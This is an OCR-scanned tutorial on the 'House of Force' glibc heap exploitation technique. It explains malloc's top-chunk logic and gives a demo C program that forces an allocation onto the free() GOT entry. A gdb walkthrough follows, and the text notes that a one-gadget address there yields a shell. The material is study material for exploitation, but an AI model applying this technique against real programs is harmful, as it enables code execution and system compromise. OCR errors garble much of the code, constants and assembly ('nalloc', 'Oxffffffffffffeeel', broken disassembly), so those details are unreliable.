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House of Force

malloc () allocates memory using Top chunk in the following way.

© Store the value of main_arene top in "victim" and the size of the top chunk in "size".

© malloc () uses the space in Top chunk if the value of "size" is greater than or equal to "Newly requested memory size (nb) + minimum
chunk size (MINSIZE)".

o Store the value stored in "size" minus the size of the newly requested memory (nb) in "remainder_size" and the value stored in "victim
plus the size of the newly requested memory(nb) in "remainder" It is.

O "remainder" is stored in main_arene top.

O Using set_head () saves the newly requested memory size(nb) in "victimsize" and stores the value of "remainder_size" in
"remaindersize".

© malloc() calls chunk2mem(), returns the address(p + 2 * SIZE_SZ).

Irelease/2.25/master/malloc/malloc.c

/* finally, do the allocation */
p = av->top;
size = chunksize (p);

/*
if
{

check that one of the above allocation paths succeeded */
((unsigned long) (size) >= (unsigned long) (nb + M NSI ZE))

remai nder _si ze = size - nb;

remai nder = chunk_at _offset (p, nb);

av->top = renmai nder;

set _head (p, nb | PREV_INUSE | (av != &min_arena ? NON_MAI N _ARENA : 0));
set _head (remai nder, remainder_size | PREV_|I NUSE);

check_nal | oced_chunk (av, p, nb);

return chunk2mem (p);

House of Force can overwrite the value stored in the size of the top chunk with another value and implement it if it can request the allocation of
memory of the desired size.

O After requesting memory allocation to malloc(), the value of Top chunk is overwritten with Oxffffffffffffffff.

© In order to allocate the desired memory area, the calculated value is passed as the argument value of Mallo () function.

= "Address of memory you want to allocate"-"Chunk header size (16 or 8)"-Top chunk address-"Chunk header size (16 or 8)"

© After the memory allocation request, the address of the memory to be allocated is stored in the top chunk.

© Requesting memory allocation to malloc () returns that memory.
For example, allocate one memory and overwrite the top chunk's size with Oxffffffffffffffff:

O To allocate 0x601010, it asks malloc () to allocate memory of size OxffffffffffffeeeO.

© 0x601010 - 0x10 - 0x602110 - 0x10 = Oxffffffffffffeee0

O After allocating memory, 0x601000 is stored in "main_arenatop".

© And request malloc() for memory allocation, it returns 0x601010.
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Example

® This code behaves like the previous example.
o Allocate one memory and change the value of the top chunk.
© The next memory allocation request asks malloc() for memory allocation of size Oxffffffffffffeee0 to get the desired memory address.
© Requests memory allocation to malloc() and stores the returned value in buf3.
O Store 0x4141414141414141 in buf3[0] and call the free() function.



house_of_force.c

#i ncl ude <stdio. h>

#i ncl ude <string. h>
#i nclude <stdlib. h>
#i ncl ude <unistd. h>

int main(int argc, char *argv[])

{

int size;
unsi gned long *bufl, *buf2, *buf3;

fprintf(stderr,"The house of Force");

buf1 = nall oc(256);
buf 1[33] = Oxffffffffffffffff;

buf2 = nalloc(Oxffffffffffffeeel);
buf 3 = nal | oc(256);

buf 3[ 0] = 0x4141414141414141;
free(buf3);

return O;

® At 0x40062d, Check the allocated memory address and the value stored in the main_arenatop.
© At 0x40063b and 0x400649, note the change in the value stored in the main_arena top.
O Check the address of the newly allocated memory at 0x400657.
© See how the data stored at 0x400672,0x40067c affects the flow of code.



Breakpoints

| azencaOxO0@bunt u: ~$ gcc -0 test test.c

| azencaOx0@buntu: ~$ gdb -q ./test

Readi ng synbols from./test...(no debuggi ng synbols found)...done.

gdb- peda$ di sassenbl e main

Dunp of assenbl er code for
0x00000000004005f 6 <+0>
0x00000000004005f 7 <+1>
0x00000000004005f a <+4>
0x00000000004005f e <+8>
0x0000000000400601 <+11>
0x0000000000400605 <+15>
0x000000000040060¢c <+22>
0x000000000040060f <+25>
0x0000000000400614 <+30>
0x0000000000400619 <+35>
0x000000000040061e <+40>
0x0000000000400623 <+45>
0x0000000000400628 <+50>
0x000000000040062d <+55>
0x0000000000400631 <+59>
0x0000000000400635 <+63>
0x000000000040063b <+69>
0x0000000000400642 <+76>
0x0000000000400649 <+83>
0x000000000040064e <+88>
0x0000000000400652 <+92>
0x0000000000400657 <+97>
0x000000000040065¢c <+102>
0x0000000000400660 <+106>
0x0000000000400664 <+110>
0x0000000000400668 <+114>
0x0000000000400672 <+124>
0x0000000000400675 <+127>
0x0000000000400679 <+131>
0x000000000040067¢c <+134>
0x0000000000400681 <+139>
0x0000000000400686 <+144>
0x0000000000400687 <+145>

End of assenbl er dunp.

gdb- peda$ b *0x000000000040062d

Breakpoint 1 at 0x40062d

gdb- peda$ b *0x000000000040063b

Br eakpoi nt 2 at 0x40063b

gdb- peda$ b *0x0000000000400649

Br eakpoi nt 3 at 0x400649

gdb- peda$ b *0x0000000000400657

Breakpoi nt 4 at 0x400657

gdb- peda$ b *0x0000000000400672

Breakpoint 5 at 0x400672

gdb- peda$ b *0x000000000040067c

Breakpoi nt 6 at 0x40067c

gdb- peda$

function main

push
nov
sub

rbp

rbp, rsp

rsp, 0x30

DWORD PTR [rbp-0x24], ed
QAORD PTR [rbp-0x30],rs
rax, QMORD PTR [ri p+0x200a54]
rcx, rax

edx, 0x12

esi, Ox1

edi , 0x400714

0x4004e0 <fwite@lt>
edi, 0x100

0x4004d0 <mal | oc@l t>
QAORD PTR [rbp-0x18], r ax
rax, QAORD PTR [ r bp- 0x18]
rax, 0x108

QAORD PTR [rax], Oxffffffffffffffff
rdi ,Oxffffffffffffeeed
0x4004d0 <mal | oc@l t >
QAORD PTR [ rbp-0x10], rax
edi , 0x100

0x4004d0 <mal | oc@l t >
QAORD PTR [ rbp-0x8], rax
rax, QMORD PTR [ rbp- 0x8]
rax, 0x8

s rdx, 0x4141414141414141
QAORD PTR [rax], rdx
rax, QMORD PTR [ rbp- 0x8]
rdi, rax
0x4004b0 <free@l t>
eax, 0x0

# 0x601060 <stderr@asll BC 2. 2. 5>

® The address of the first allocated memory is 0x602010, the top chunk is 0x602110 and the size is 0x20ef1.
©  Store OXxffffffffffffffff in main_arenatopsize.



Overwrite the size value of the top chunk.

gdb- peda$ r
Starting program /home/l azencaOx0/test
The house of Force

Br eakpoi nt 1, 0x000000000040062d in main ()
gdb-peda$ i r rax

rax 0x602010 0x602010
gdb- peda$ p mai n_arena.top

$1 = (nchunkptr) 0x602110

gdb- peda$ p main_arena.top. size

$2 = 0x20ef1

gdb- peda$ c

Cont i nui ng

Br eakpoi nt 2, 0x000000000040063b in main ()
gdb- peda$ x/i $rip

=> 0x40063b <mai n+69>: nmov QAMORD PTR [rax], Oxffffffffffffffff
gdb-peda$ i r rax

rax 0x602118 0x602118

gdb- peda$

® After asking malloc() for an allocation of memory of size Oxffffffffffffeee0, the Top chunk changes to 0x601000.
© This causes the next memory allocation request to be allocated an area of 0x601010.

change in the value of main_arene.top

gdb- peda$ ¢
Cont i nui ng.

Br eakpoi nt 3, 0x0000000000400649 in main ()
gdb-peda$ x/i $rip

=> 0x400649 <mai n+83>: cal | 0x4004d0 <mal | oc@l t >
gdb-peda$ i r rdi

rdi oxffffffffffffeeel oxffffffffffffeeed
gdb- peda$ ni

0x000000000040064e in main ()
gdb-peda$ i r rax

rax 0x602120 0x602120
gdb- peda$ p mai n_arena.top

$3 = (nchunkptr) 0x601000

gdb- peda$ ¢
Cont i nui ng.

Br eakpoi nt 4, 0x0000000000400657 in main ()
gdb-peda$ x/i $rip

=> 0x400657 <mai n+97>: cal | 0x4004d0 <mal | oc@l t >
gdb-peda$ i r rdi

rdi 0x100 0x100

gdb- peda$ ni

0x000000000040065c in main ()

gdb-peda$ i r rax

rax 0x601010 0x601010
gdb- peda$

® The program stores 0x4141414141414141 in 0x601018.
O The value stored at 0x601018 is the free@plt.
© If you call the free() function at 0x40067c, the function calls free@plt(0x4004b0).
© The code moves to the address stored in 0x601018.
© An error occurs because the value stored in the area is 0x4141414141414141.
® [f you enter the address of One-gadget instead of 0x4141414141414141 at 0x601018, you will get a shell.



Segmentation fault

gdb- peda$ ¢
Cont i nui ng.

Breakpoi nt 5, 0x0000000000400672 in main ()
gdb- peda$ x/i $rip

=> 0x400672 <mai n+124>: nov QAORD PTR [rax], rdx
gdb-peda$ i r rax rdx

rax 0x601018 0x601018

r dx 0x4141414141414141 0x4141414141414141
gdb- peda$ x/gx 0x601018

0x601018: 0x00000000004004b6

gdb- peda$ x/ gx 0x00000000004004b6

0x4004b6 <free@lt +6>: 0xf f e0e90000000068

gdb- peda$ el fsynbol free
Detail symbol info
free@eloc = 0

free@lt = 0x4004b0
free@ot = 0x601018

gdb- peda$ ¢

Cont i nui ng.

Br eakpoi nt 6, 0x000000000040067c in main ()
gdb-peda$ x/i $rip

=> 0x40067c <mai n+134>: cal | 0x4004b0 <free@l t>

gdb- peda$

gdb- peda$ x/2i 0x4004b0
0x4004b0 <free@l t>: jmp QAORD PTR [ri p+0x200b62] # 0x601018
0x4004b6 <free@l t +6>: push 0x0

gdb- peda$ p/x 0x4004b6 + 0x200b62
$7 = 0x601018

gdb- peda$ x/gx 0x601018

0x601018: 0x4141414141414141
gdb- peda$ ¢

Cont i nui ng.

Program recei ved signal SlI GSEGY, Segnentation fault.
St opped reason: SI GSEGV

0x00000000004004b0 in free@lt ()
gdb- peda$

Related information

® http://phrack.org/issues/66/10.html
® https://github.com/shellphish/how2heap
® https://gbmaster.wordpress.com/2015/06/28/x86-exploitation-101-house-of-force-jedi-overflow/
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